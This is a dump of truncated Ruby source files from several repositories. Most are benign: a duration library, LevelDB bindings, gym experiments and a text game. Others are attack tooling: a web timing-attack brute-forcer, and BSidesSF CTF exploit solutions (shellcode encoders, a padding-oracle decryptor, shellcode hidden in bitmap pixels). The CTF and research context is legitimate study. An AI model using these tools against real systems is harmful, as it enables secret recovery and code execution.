repo
stringlengths
5
92
file_url
stringlengths
80
287
file_path
stringlengths
5
197
content
stringlengths
0
32.8k
language
stringclasses
1 value
license
stringclasses
7 values
commit_sha
stringlengths
40
40
retrieved_at
stringdate
2026-01-04 15:37:27
2026-01-04 17:58:21
truncated
bool
2 classes
giuse/DNE
https://github.com/giuse/DNE/blob/c5e0acdfe3be89897049b622ded5fc94348a1b0d/gym_experiment.rb
gym_experiment.rb
require 'parallel' # https://github.com/grosser/parallel ENV["PYTHON"] = `which python3`.strip # set python3 path for PyCall require 'pycall/import' # https://github.com/mrkn/pycall.rb/ # IMPORTANT: `require 'numo/narray`' should come AFTER the first `pyimport :gym` # Don't ask wh...
ruby
MIT
c5e0acdfe3be89897049b622ded5fc94348a1b0d
2026-01-04T17:53:51.078468Z
false
giuse/DNE
https://github.com/giuse/DNE/blob/c5e0acdfe3be89897049b622ded5fc94348a1b0d/experiments/acrobot.rb
experiments/acrobot.rb
require_relative '../gym_experiment' config = { net: { type: :Recurrent, hidden_layers: [5,5], activation_function: :logistic }, env: { type: 'Acrobot-v1' }, run: { max_nsteps: 500, max_ngens: 5, termination_criteria: -> (opt) { opt.best.first > -10 }, random_seed: 1 }, op...
ruby
MIT
c5e0acdfe3be89897049b622ded5fc94348a1b0d
2026-01-04T17:53:51.078468Z
false
giuse/DNE
https://github.com/giuse/DNE/blob/c5e0acdfe3be89897049b622ded5fc94348a1b0d/experiments/atari.rb
experiments/atari.rb
require_relative '../atari_ulerl_experiment' config = { net: { type: :Recurrent, hidden_layers: [], activation_function: :logistic, # noutputs: 6, # lock to using 6 neurons # noutputs: 10, # lock to using 10 neurons # steepness: 0.5 # activation function steepness }, env: { t...
ruby
MIT
c5e0acdfe3be89897049b622ded5fc94348a1b0d
2026-01-04T17:53:51.078468Z
false
giuse/DNE
https://github.com/giuse/DNE/blob/c5e0acdfe3be89897049b622ded5fc94348a1b0d/experiments/cartpole.rb
experiments/cartpole.rb
require_relative '../gym_experiment' config = { net: { type: :Recurrent, hidden_layers: [], activation_function: :logistic }, env: { type: 'CartPole-v1' }, run: { max_nsteps: 550, max_ngens: 5, random_seed: 1, fitness_type: :parallel # debug: true }, opt: { type: :...
ruby
MIT
c5e0acdfe3be89897049b622ded5fc94348a1b0d
2026-01-04T17:53:51.078468Z
false
ffleming/timing_attack
https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/spec/timing_attack_spec.rb
spec/timing_attack_spec.rb
require 'spec_helper' describe TimingAttack do end
ruby
MIT
a7f4e5e46f70f9236d163a79e3dd2911d131dd4e
2026-01-04T17:53:55.042583Z
false
ffleming/timing_attack
https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/spec/spec_helper.rb
spec/spec_helper.rb
$LOAD_PATH.unshift File.expand_path('../../lib', __FILE__) require 'timing_attack'
ruby
MIT
a7f4e5e46f70f9236d163a79e3dd2911d131dd4e
2026-01-04T17:53:55.042583Z
false
ffleming/timing_attack
https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/spec/test_case_spec.rb
spec/test_case_spec.rb
require 'spec_helper' describe TimingAttack::TestCase do let(:klass) { TimingAttack::TestCase } let(:input_param) { "dogs are cool + 1" } let(:test_case) do klass.new( input: input_param, options: { url: "http:/localhost:3000/", params: { login: "INPUT", "INPUT...
ruby
MIT
a7f4e5e46f70f9236d163a79e3dd2911d131dd4e
2026-01-04T17:53:55.042583Z
false
ffleming/timing_attack
https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/lib/timing_attack.rb
lib/timing_attack.rb
require 'typhoeus' require 'json' require 'optparse' require 'ruby-progressbar' require "timing_attack/version" require "timing_attack/errors" require "timing_attack/attacker" require 'timing_attack/spinner' require "timing_attack/brute_forcer" require "timing_attack/grouper" require "timing_attack/test_case" require "...
ruby
MIT
a7f4e5e46f70f9236d163a79e3dd2911d131dd4e
2026-01-04T17:53:55.042583Z
false
ffleming/timing_attack
https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/lib/timing_attack/test_case.rb
lib/timing_attack/test_case.rb
require 'uri' module TimingAttack class TestCase attr_reader :input def initialize(input: , options: {}) @input = input @options = options @times = [] @percentiles = [] @hydra_requests = [] @url = URI.escape( options.fetch(:url). gsub(INPUT_FLAG, input) ...
ruby
MIT
a7f4e5e46f70f9236d163a79e3dd2911d131dd4e
2026-01-04T17:53:55.042583Z
false
ffleming/timing_attack
https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/lib/timing_attack/version.rb
lib/timing_attack/version.rb
module TimingAttack VERSION = "0.7.1" end
ruby
MIT
a7f4e5e46f70f9236d163a79e3dd2911d131dd4e
2026-01-04T17:53:55.042583Z
false
ffleming/timing_attack
https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/lib/timing_attack/errors.rb
lib/timing_attack/errors.rb
module TimingAttack module Errors BruteForcerError = Class.new(StandardError) InvalidFileFormatError = Class.new(StandardError) FileNotFoundError = Class.new(StandardError) end end
ruby
MIT
a7f4e5e46f70f9236d163a79e3dd2911d131dd4e
2026-01-04T17:53:55.042583Z
false
ffleming/timing_attack
https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/lib/timing_attack/grouper.rb
lib/timing_attack/grouper.rb
module TimingAttack class Grouper attr_reader :short_tests, :long_tests def initialize(attacks: , group_by: {}) @attacks = attacks setup_grouping_opts!(group_by) @short_tests = [] @long_tests = [] group_attacks serialize freeze end def serialize @serial...
ruby
MIT
a7f4e5e46f70f9236d163a79e3dd2911d131dd4e
2026-01-04T17:53:55.042583Z
false
ffleming/timing_attack
https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/lib/timing_attack/brute_forcer.rb
lib/timing_attack/brute_forcer.rb
module TimingAttack class BruteForcer include TimingAttack::Attacker def initialize(options: {}) super(options: options) @known = "" end private attr_reader :known POTENTIAL_BYTES = (' '..'z').to_a def attack! begin while(true) attack_byte! en...
ruby
MIT
a7f4e5e46f70f9236d163a79e3dd2911d131dd4e
2026-01-04T17:53:55.042583Z
false
ffleming/timing_attack
https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/lib/timing_attack/spinner.rb
lib/timing_attack/spinner.rb
module TimingAttack class Spinner STATES = %w(| / - \\) def increment @_spinner ||= 0 print "\r #{STATES[@_spinner % STATES.length]}" @_spinner += 1 @_spinner = 0 if @_spinner >= STATES.length end end end
ruby
MIT
a7f4e5e46f70f9236d163a79e3dd2911d131dd4e
2026-01-04T17:53:55.042583Z
false
ffleming/timing_attack
https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/lib/timing_attack/enumerator.rb
lib/timing_attack/enumerator.rb
module TimingAttack class Enumerator include TimingAttack::Attacker def initialize(inputs: [], options: {}) @inputs = inputs raise ArgumentError.new("Need at least 2 inputs") if inputs.count < 2 super(options: options) @attacks = inputs.map { |input| TestCase.new(input: input, options...
ruby
MIT
a7f4e5e46f70f9236d163a79e3dd2911d131dd4e
2026-01-04T17:53:55.042583Z
false
ffleming/timing_attack
https://github.com/ffleming/timing_attack/blob/a7f4e5e46f70f9236d163a79e3dd2911d131dd4e/lib/timing_attack/attacker.rb
lib/timing_attack/attacker.rb
module TimingAttack module Attacker def initialize(options: {}, inputs: []) @options = default_options.merge(options) raise ArgumentError.new("Must provide url") if url.nil? unless specified_input_option? msg = "'#{INPUT_FLAG}' not found in url, parameters, body, headers, or HTTP authent...
ruby
MIT
a7f4e5e46f70f9236d163a79e3dd2911d131dd4e
2026-01-04T17:53:55.042583Z
false
janko/as-duration
https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/test/date_and_time_behaviour.rb
test/date_and_time_behaviour.rb
module DateAndTimeBehaviour def with_env_tz(new_tz = 'US/Eastern') old_tz, ENV['TZ'] = ENV['TZ'], new_tz yield ensure old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ') end def test_days_until assert_equal new(2005,6,4,10,10,10), 1.days.until(new(2005,6,5,10,10,10)) assert_equal new(2005,5,31...
ruby
MIT
b50cf856e5444d8d840eab583b14d04401d3bc5a
2026-01-04T17:53:55.730728Z
false
janko/as-duration
https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/test/time_test.rb
test/time_test.rb
require_relative "test_helper" require_relative "date_and_time_behaviour" class TimeTest < Minitest::Test include DateAndTimeBehaviour def setup @time = Time.now end def new(*args) Time.local(*args) end def test_calendar_reform assert_equal new(1582,10,14,15,15,10), 1.days.until(new(1582,10,...
ruby
MIT
b50cf856e5444d8d840eab583b14d04401d3bc5a
2026-01-04T17:53:55.730728Z
false
janko/as-duration
https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/test/test_helper.rb
test/test_helper.rb
require "minitest/autorun" require "minitest/pride" require "as-duration"
ruby
MIT
b50cf856e5444d8d840eab583b14d04401d3bc5a
2026-01-04T17:53:55.730728Z
false
janko/as-duration
https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/test/duration_test.rb
test/duration_test.rb
require_relative "test_helper" class DurationTest < Minitest::Test def test_addition left = AS::Duration.new(1, [[:weeks, 1]]) right = AS::Duration.new(2, [[:seconds, 1]]) assert_equal([[:weeks, 1], [:seconds, 1]], (left + right).parts) assert_equal(3, (left + right).value) end def test_subtra...
ruby
MIT
b50cf856e5444d8d840eab583b14d04401d3bc5a
2026-01-04T17:53:55.730728Z
false
janko/as-duration
https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/test/date_test.rb
test/date_test.rb
require_relative "test_helper" require_relative "date_and_time_behaviour" class DateTest < Minitest::Test include DateAndTimeBehaviour def setup @date = Date.today end def new(*args) Date.new(*args.first(3)) end def test_advance assert_equal new(2006,2,28), new(2005,2,28) + 1.year asser...
ruby
MIT
b50cf856e5444d8d840eab583b14d04401d3bc5a
2026-01-04T17:53:55.730728Z
false
janko/as-duration
https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/lib/as-duration.rb
lib/as-duration.rb
require "as/duration"
ruby
MIT
b50cf856e5444d8d840eab583b14d04401d3bc5a
2026-01-04T17:53:55.730728Z
false
janko/as-duration
https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/lib/as/duration.rb
lib/as/duration.rb
require "as/duration/core_ext" require "time" module AS class Duration include Comparable attr_accessor :value, :parts def initialize(value, parts) @value, @parts = value, parts end def to_i @value end # reference: Rails-->activesupport/lib/active_support/duration.rb ...
ruby
MIT
b50cf856e5444d8d840eab583b14d04401d3bc5a
2026-01-04T17:53:55.730728Z
false
janko/as-duration
https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/lib/as/duration/core_ext.rb
lib/as/duration/core_ext.rb
require "as/duration/core_ext/numeric" require "as/duration/core_ext/integer" require "as/duration/core_ext/time" require "as/duration/core_ext/date"
ruby
MIT
b50cf856e5444d8d840eab583b14d04401d3bc5a
2026-01-04T17:53:55.730728Z
false
janko/as-duration
https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/lib/as/duration/operations.rb
lib/as/duration/operations.rb
module AS class Duration module Operations module DateAndTime def +(other) if Duration === other other.since(self) else super end end def -(other) if Duration === other other.until(self) else ...
ruby
MIT
b50cf856e5444d8d840eab583b14d04401d3bc5a
2026-01-04T17:53:55.730728Z
false
janko/as-duration
https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/lib/as/duration/core_ext/time.rb
lib/as/duration/core_ext/time.rb
require "as/duration/operations" class Time prepend AS::Duration::Operations::DateAndTime end
ruby
MIT
b50cf856e5444d8d840eab583b14d04401d3bc5a
2026-01-04T17:53:55.730728Z
false
janko/as-duration
https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/lib/as/duration/core_ext/integer.rb
lib/as/duration/core_ext/integer.rb
class Integer def months AS::Duration.new(self * 30*24*60*60, [[:months, self]]) end alias month months def years AS::Duration.new(self * 365*24*60*60, [[:years, self]]) end alias year years end
ruby
MIT
b50cf856e5444d8d840eab583b14d04401d3bc5a
2026-01-04T17:53:55.730728Z
false
janko/as-duration
https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/lib/as/duration/core_ext/date.rb
lib/as/duration/core_ext/date.rb
require "as/duration/operations" class Date prepend AS::Duration::Operations::DateAndTime end
ruby
MIT
b50cf856e5444d8d840eab583b14d04401d3bc5a
2026-01-04T17:53:55.730728Z
false
janko/as-duration
https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/lib/as/duration/core_ext/numeric.rb
lib/as/duration/core_ext/numeric.rb
class Numeric def seconds AS::Duration.new(self, [[:seconds, self]]) end alias second seconds def minutes AS::Duration.new(self * 60, [[:minutes, self]]) end alias minute minutes def hours AS::Duration.new(self * 60*60, [[:hours, self]]) end alias hour hours def days AS::Duration....
ruby
MIT
b50cf856e5444d8d840eab583b14d04401d3bc5a
2026-01-04T17:53:55.730728Z
false
DAddYE/leveldb
https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/benchmark/leveldb.rb
benchmark/leveldb.rb
require 'bundler/setup' require 'leveldb' require 'benchmark' require 'minitest' puts '## Please wait, I\'m generating 100mb of random data ...' N = 10_240 SAMPLE = [] File.open('/dev/urandom', File::RDONLY || File::NONBLOCK || File::NOCTTY) do |f| N.times { |i| SAMPLE << f.readpartial(5_120).unpack("H*")[0] } end...
ruby
MIT
2071d14decc48cc34c28efccfa996d1751a2461c
2026-01-04T17:54:01.529376Z
false
DAddYE/leveldb
https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/benchmark/leveldb-ruby.rb
benchmark/leveldb-ruby.rb
require 'leveldb' # be sure to a) don't add bundler/setup b) gem uninstall leveldb require 'benchmark' require 'minitest' puts '## Please wait, I\'m generating 100mb of random data ...' N = 10_240 SAMPLE = [] File.open('/dev/urandom', File::RDONLY || File::NONBLOCK || File::NOCTTY) do |f| N.times { |i| SAMPLE << f...
ruby
MIT
2071d14decc48cc34c28efccfa996d1751a2461c
2026-01-04T17:54:01.529376Z
false
DAddYE/leveldb
https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/benchmark/leak.rb
benchmark/leak.rb
require 'bundler/setup' require 'leveldb' require 'pp' GC::Profiler.enable db = LevelDB::DB.new("/tmp/leaktest") p db.get 'fox' 10_000_000.times { db.get 'fox' } counts = Hash.new(0) ObjectSpace.each_object do |o| counts[o.class] += 1 end pp counts.sort_by { |k, v| v } puts GC::Profiler.result # puts GC::Profil...
ruby
MIT
2071d14decc48cc34c28efccfa996d1751a2461c
2026-01-04T17:54:01.529376Z
false
DAddYE/leveldb
https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/test/test_batch.rb
test/test_batch.rb
require_relative './helper' class TestBatch < Minitest::Test attr_reader :db def setup @db ||= LevelDB::DB.new './tmp/test-batch' end def teardown db.close db.destroy end def test_batch batch = db.batch ('a'..'z').each do |l| refute db[l] batch.put l, l.upcase end ...
ruby
MIT
2071d14decc48cc34c28efccfa996d1751a2461c
2026-01-04T17:54:01.529376Z
false
DAddYE/leveldb
https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/test/test_snapshot.rb
test/test_snapshot.rb
require_relative './helper' class TestSnapshot < Minitest::Test attr_reader :db def setup @db ||= LevelDB::DB.new './tmp/test-snapshot' end def teardown db.close db.destroy end def test_snap db.put 'a', 1 db.put 'b', 2 db.put 'c', 3 snap = db.snapshot db.delete 'a' ...
ruby
MIT
2071d14decc48cc34c28efccfa996d1751a2461c
2026-01-04T17:54:01.529376Z
false
DAddYE/leveldb
https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/test/test_db.rb
test/test_db.rb
require_relative './helper' class TestBasic < Minitest::Test attr_reader :db def setup @db ||= LevelDB::DB.new './tmp/test-db' end def teardown db.close db.destroy end def test_open assert_raises(LevelDB::DB::Error) do LevelDB::DB.new './doesnt-exist/foo' end assert db en...
ruby
MIT
2071d14decc48cc34c28efccfa996d1751a2461c
2026-01-04T17:54:01.529376Z
false
DAddYE/leveldb
https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/test/test_iterator.rb
test/test_iterator.rb
require_relative './helper' class TestIterator < Minitest::Test attr_reader :db def setup @db ||= LevelDB::DB.new './tmp/test-iterator' end def teardown db.close db.destroy end def test_next db[:a] = :sten db[:b] = :roger iterator = db.each assert_equal %w[a sten], iterato...
ruby
MIT
2071d14decc48cc34c28efccfa996d1751a2461c
2026-01-04T17:54:01.529376Z
false
DAddYE/leveldb
https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/test/helper.rb
test/helper.rb
require 'bundler/setup' require 'leveldb' require 'minitest/autorun' # Create a temp directory Dir.mkdir './tmp' unless Dir.exist?('./tmp')
ruby
MIT
2071d14decc48cc34c28efccfa996d1751a2461c
2026-01-04T17:54:01.529376Z
false
DAddYE/leveldb
https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/lib/leveldb.rb
lib/leveldb.rb
require 'native' require 'leveldb/db' module LevelDB C = Native end
ruby
MIT
2071d14decc48cc34c28efccfa996d1751a2461c
2026-01-04T17:54:01.529376Z
false
DAddYE/leveldb
https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/lib/native.rb
lib/native.rb
require 'fiddler' module LevelDB module Native include Fiddler LIBPATHS.push File.expand_path('../../ext/leveldb', __FILE__) prefix 'leveldb_' dlload 'libleveldb' cdef :open, VOIDP, options: VOIDP, name: VOIDP, errptr: VOIDP cdef :put, VOID, db: VOIDP, options: VOIDP, key: VOIDP, keylen: U...
ruby
MIT
2071d14decc48cc34c28efccfa996d1751a2461c
2026-01-04T17:54:01.529376Z
false
DAddYE/leveldb
https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/lib/leveldb/batch.rb
lib/leveldb/batch.rb
module LevelDB class Batch class Error < StandardError; end def initialize(db, write_opts) @_db = db @_write_opts = write_opts @_err = C::Pointer.malloc(C::SIZEOF_VOIDP) @_err.free = C[:free] @_batch = C.writebatch_create end def []=(key, val) key, val = key.to_s...
ruby
MIT
2071d14decc48cc34c28efccfa996d1751a2461c
2026-01-04T17:54:01.529376Z
false
DAddYE/leveldb
https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/lib/leveldb/version.rb
lib/leveldb/version.rb
module LevelDB VERSION = '0.1.9' end
ruby
MIT
2071d14decc48cc34c28efccfa996d1751a2461c
2026-01-04T17:54:01.529376Z
false
DAddYE/leveldb
https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/lib/leveldb/db.rb
lib/leveldb/db.rb
require 'thread' require 'leveldb/iterator' require 'leveldb/batch' require 'leveldb/snapshot' module LevelDB class DB include Enumerable class Error < StandardError; end class KeyError < StandardError; end class ClosedError < StandardError; end attr_reader :path, :options @@mutex = Mutex.n...
ruby
MIT
2071d14decc48cc34c28efccfa996d1751a2461c
2026-01-04T17:54:01.529376Z
false
DAddYE/leveldb
https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/lib/leveldb/iterator.rb
lib/leveldb/iterator.rb
module LevelDB class Iterator def initialize(db, read_opts, read_len, reverse=false) @_db = db @_read_opts = read_opts @_read_len = read_len @_reverse = reverse @_err = C::Pointer.malloc(C::SIZEOF_VOIDP) @_err.free = C[:free] @_iterator = C.create_iterat...
ruby
MIT
2071d14decc48cc34c28efccfa996d1751a2461c
2026-01-04T17:54:01.529376Z
false
DAddYE/leveldb
https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/lib/leveldb/snapshot.rb
lib/leveldb/snapshot.rb
module LevelDB class Snapshot def initialize(db, read_opts) @_db = db @_read_opts = read_opts @_snap = C.create_snapshot(@_db) end def set! C.readoptions_set_snapshot(@_read_opts, @_snap) end def reset! C.readoptions_set_snapshot(@_read_opts, nil) end def...
ruby
MIT
2071d14decc48cc34c28efccfa996d1751a2461c
2026-01-04T17:54:01.529376Z
false
BSidesSF/ctf-2017-release
https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/misc/beez-fight/challenge/src/monsters.rb
misc/beez-fight/challenge/src/monsters.rb
MONSTERS = [ { :name => "Angry Dog", :weapons => [ { :weapon_name => "Claws", :damage => 10..20 }, { :weapon_name => "Teeth", :damage => 15..30 }, ], :commonness => 30, :appears_in => [:alley, :forest], :health => (5..15), }, { :name => "Archer, in rampage mode", :weapo...
ruby
MIT
6ee9f99764e096dc2d30499c531925897facc561
2026-01-04T17:53:03.076022Z
false
BSidesSF/ctf-2017-release
https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/misc/beez-fight/challenge/src/items.rb
misc/beez-fight/challenge/src/items.rb
WEAPONS = [ { :type => :weapon, :name => "stick", :value => 1, :description => "It's a stick", :commonness => 100, :damage => 0..5, }, { :type => :weapon, :name => "an umbrella", :value => 10, :description => "It's not very sharp!", :commonness => 70, :damage => 5...
ruby
MIT
6ee9f99764e096dc2d30499c531925897facc561
2026-01-04T17:53:03.076022Z
false
BSidesSF/ctf-2017-release
https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/misc/beez-fight/challenge/src/game.rb
misc/beez-fight/challenge/src/game.rb
#!/usr/local/bin/ruby require 'readline' require_relative './items.rb' require_relative './locations.rb' require_relative './monsters.rb' # Turns off stdout buffering $stdout.sync = true YOU = { :weapon_equipped => false, :weapon => nil, :shield_equipped => false, :shield => nil, :inventory => (1..3).ma...
ruby
MIT
6ee9f99764e096dc2d30499c531925897facc561
2026-01-04T17:53:03.076022Z
false
BSidesSF/ctf-2017-release
https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/misc/beez-fight/challenge/src/locations.rb
misc/beez-fight/challenge/src/locations.rb
LOCATIONS = { :street => { :name => "Street", :connects_to => [:store, :alley, :cinema, :club, :forest], :buy_stuff => false, :monster_chance => 0.05, :description => "You're on a somewhat busy street. Cars are passing you by, but nobody's paying you much attention.", :item_chance => 0.01, }...
ruby
MIT
6ee9f99764e096dc2d30499c531925897facc561
2026-01-04T17:53:03.076022Z
false
BSidesSF/ctf-2017-release
https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/misc/beez-fight/distfiles/game.rb
misc/beez-fight/distfiles/game.rb
#!/usr/local/bin/ruby require 'readline' require_relative './items.rb' require_relative './locations.rb' require_relative './monsters.rb' # Turns off stdout buffering $stdout.sync = true YOU = { :weapon_equipped => false, :weapon => nil, :shield_equipped => false, :shield => nil, :inventory => (1..3).ma...
ruby
MIT
6ee9f99764e096dc2d30499c531925897facc561
2026-01-04T17:53:03.076022Z
false
BSidesSF/ctf-2017-release
https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/pwn/hashecute/solution/sploit.rb
pwn/hashecute/solution/sploit.rb
# encoding: ASCII-8bit require 'digest' DESIRED_PREFIX = "\xeb\x0e" DESIRED_CODE = "\xCC" 0.upto(0xFFFFFFFFFFFFFFFF) do |i| this_code = DESIRED_CODE + [i].pack('q') checksum = Digest::MD5.digest(this_code) if(checksum.start_with?(DESIRED_PREFIX)) puts "Code: %s" % (this_code.bytes.map { |c| '\x%02x' % c }...
ruby
MIT
6ee9f99764e096dc2d30499c531925897facc561
2026-01-04T17:53:03.076022Z
false
BSidesSF/ctf-2017-release
https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/pwn/b-64-b-tuff/solution/sploit.rb
pwn/b-64-b-tuff/solution/sploit.rb
# encoding: ASCII-8bit require 'base64' SET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; CACHE = {} TEMP_OFFSET = 0x100 def get_xor_values_8(desired) if((desired & 0x80) != 0) raise(Exception, "Impossible to encode a value with a 1 in the MSB: 0x%x" % desired) end if(CACHE[desired...
ruby
MIT
6ee9f99764e096dc2d30499c531925897facc561
2026-01-04T17:53:03.076022Z
false
BSidesSF/ctf-2017-release
https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/forensics/ximage/challenge/create_code.rb
forensics/ximage/challenge/create_code.rb
f = File.open('code.asm', 'w') f.write <<EOC bits 32 ; f xor ebx, ebx mov ebx, 1 ; Buffer call $+5 pop ecx mov byte [ecx], 0x00 ; length xor edx, edx mov edx, 1 EOC str = "***\n%s\n***\n" % ARGV[0] if(str.nil?) puts("Usage: ruby ./create_code.rb <str>") exit(1) end current = 0 str.bytes.each do |c| offset ...
ruby
MIT
6ee9f99764e096dc2d30499c531925897facc561
2026-01-04T17:53:03.076022Z
false
BSidesSF/ctf-2017-release
https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/forensics/ximage/challenge/embed_code.rb
forensics/ximage/challenge/embed_code.rb
# encoding: ascii-8bit # "ximage" challenge # By Ron # This program can embed arbitrary shellcode (with restrictions) into the # data section of a bitmap image. It replaces all colours in the image with # the closest colour consisting of "NOPs" that it's able to find. Then, it # distributes the code in small chunks th...
ruby
MIT
6ee9f99764e096dc2d30499c531925897facc561
2026-01-04T17:53:03.076022Z
false
BSidesSF/ctf-2017-release
https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/forensics/ximage/solution/extract_code.rb
forensics/ximage/solution/extract_code.rb
if(ARGV.length != 2) puts("Usage: extract_code.rb <input.bmp> <output.bin>") exit(1) end # This will contain the new bitmap result = "" File.open(ARGV[0], "rb") do |bitmap| bitmap_file_header = bitmap.read(14) header, size, reserved1, reserved2, data_offset = bitmap_file_header.unpack("vVvvV") if(header !=...
ruby
MIT
6ee9f99764e096dc2d30499c531925897facc561
2026-01-04T17:53:03.076022Z
false
BSidesSF/ctf-2017-release
https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/web/delphi-status/challenge/app.rb
web/delphi-status/challenge/app.rb
require "base64" require "sinatra" require "openssl" set :bind, '0.0.0.0' set :port, 8080 MODE = "AES-256-CBC" KEY = "6b01fc7df519fc5074c340038cbc4e0a" def encrypt(data, key) iv = (0...16).map { rand(255).chr }.join c = OpenSSL::Cipher::Cipher.new(MODE) c.encrypt c.key = key c.iv = iv return iv + c.upd...
ruby
MIT
6ee9f99764e096dc2d30499c531925897facc561
2026-01-04T17:53:03.076022Z
false
BSidesSF/ctf-2017-release
https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/web/delphi-status/solution/Poracle.rb
web/delphi-status/solution/Poracle.rb
## # PoracleDecryptor.rb # Created: December 8, 2012 # By: Ron Bowes # # TODO ## # class PoracleDecryptor private def _generate_set(base_list) mapping = [] base_list.each do |i| mapping[i.ord()] = true end 0.upto(255) do |i| if(!mapping[i]) base_list << i.chr end end ...
ruby
MIT
6ee9f99764e096dc2d30499c531925897facc561
2026-01-04T17:53:03.076022Z
false
BSidesSF/ctf-2017-release
https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/web/delphi-status/solution/DelphiSolution.rb
web/delphi-status/solution/DelphiSolution.rb
## # Demo.rb # Created: February 10, 2013 # By: Ron Bowes # # A demo of how to use Poracle, that works against RemoteTestServer. ## # require 'httparty' require './Poracle' BLOCKSIZE = 16 poracle = PoracleDecryptor.new(BLOCKSIZE, true) do |data| url = "http://localhost:8080/execute/#{data.unpack("H*").pop}" resul...
ruby
MIT
6ee9f99764e096dc2d30499c531925897facc561
2026-01-04T17:53:03.076022Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/spec/spec_helper.rb
spec/spec_helper.rb
# frozen_string_literal: true require 'bundler/setup' Bundler.require(:default, :test) require (Pathname.new(__FILE__).dirname + '../lib/onotole').expand_path Dir['./spec/support/**/*.rb'].each { |file| require file } RSpec.configure do |config| config.include OnotoleTestHelpers config.before(:all) do add_...
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/spec/support/fake_heroku.rb
spec/support/fake_heroku.rb
# frozen_string_literal: true class FakeHeroku RECORDER = File.expand_path(File.join('..', '..', 'tmp', 'heroku_commands'), File.dirname(__FILE__)) def initialize(args) @args = args end def run! puts 'heroku-pipelines@0.29.0' if @args.first == 'plugins' File.open(RECORDER, 'a') do |file| fil...
ruby
MIT
3c14f28863dbbad1a4c5f072b706154e326eb276
2026-01-04T17:54:02.890450Z
false
kvokka/onotole
https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/spec/support/fake_github.rb
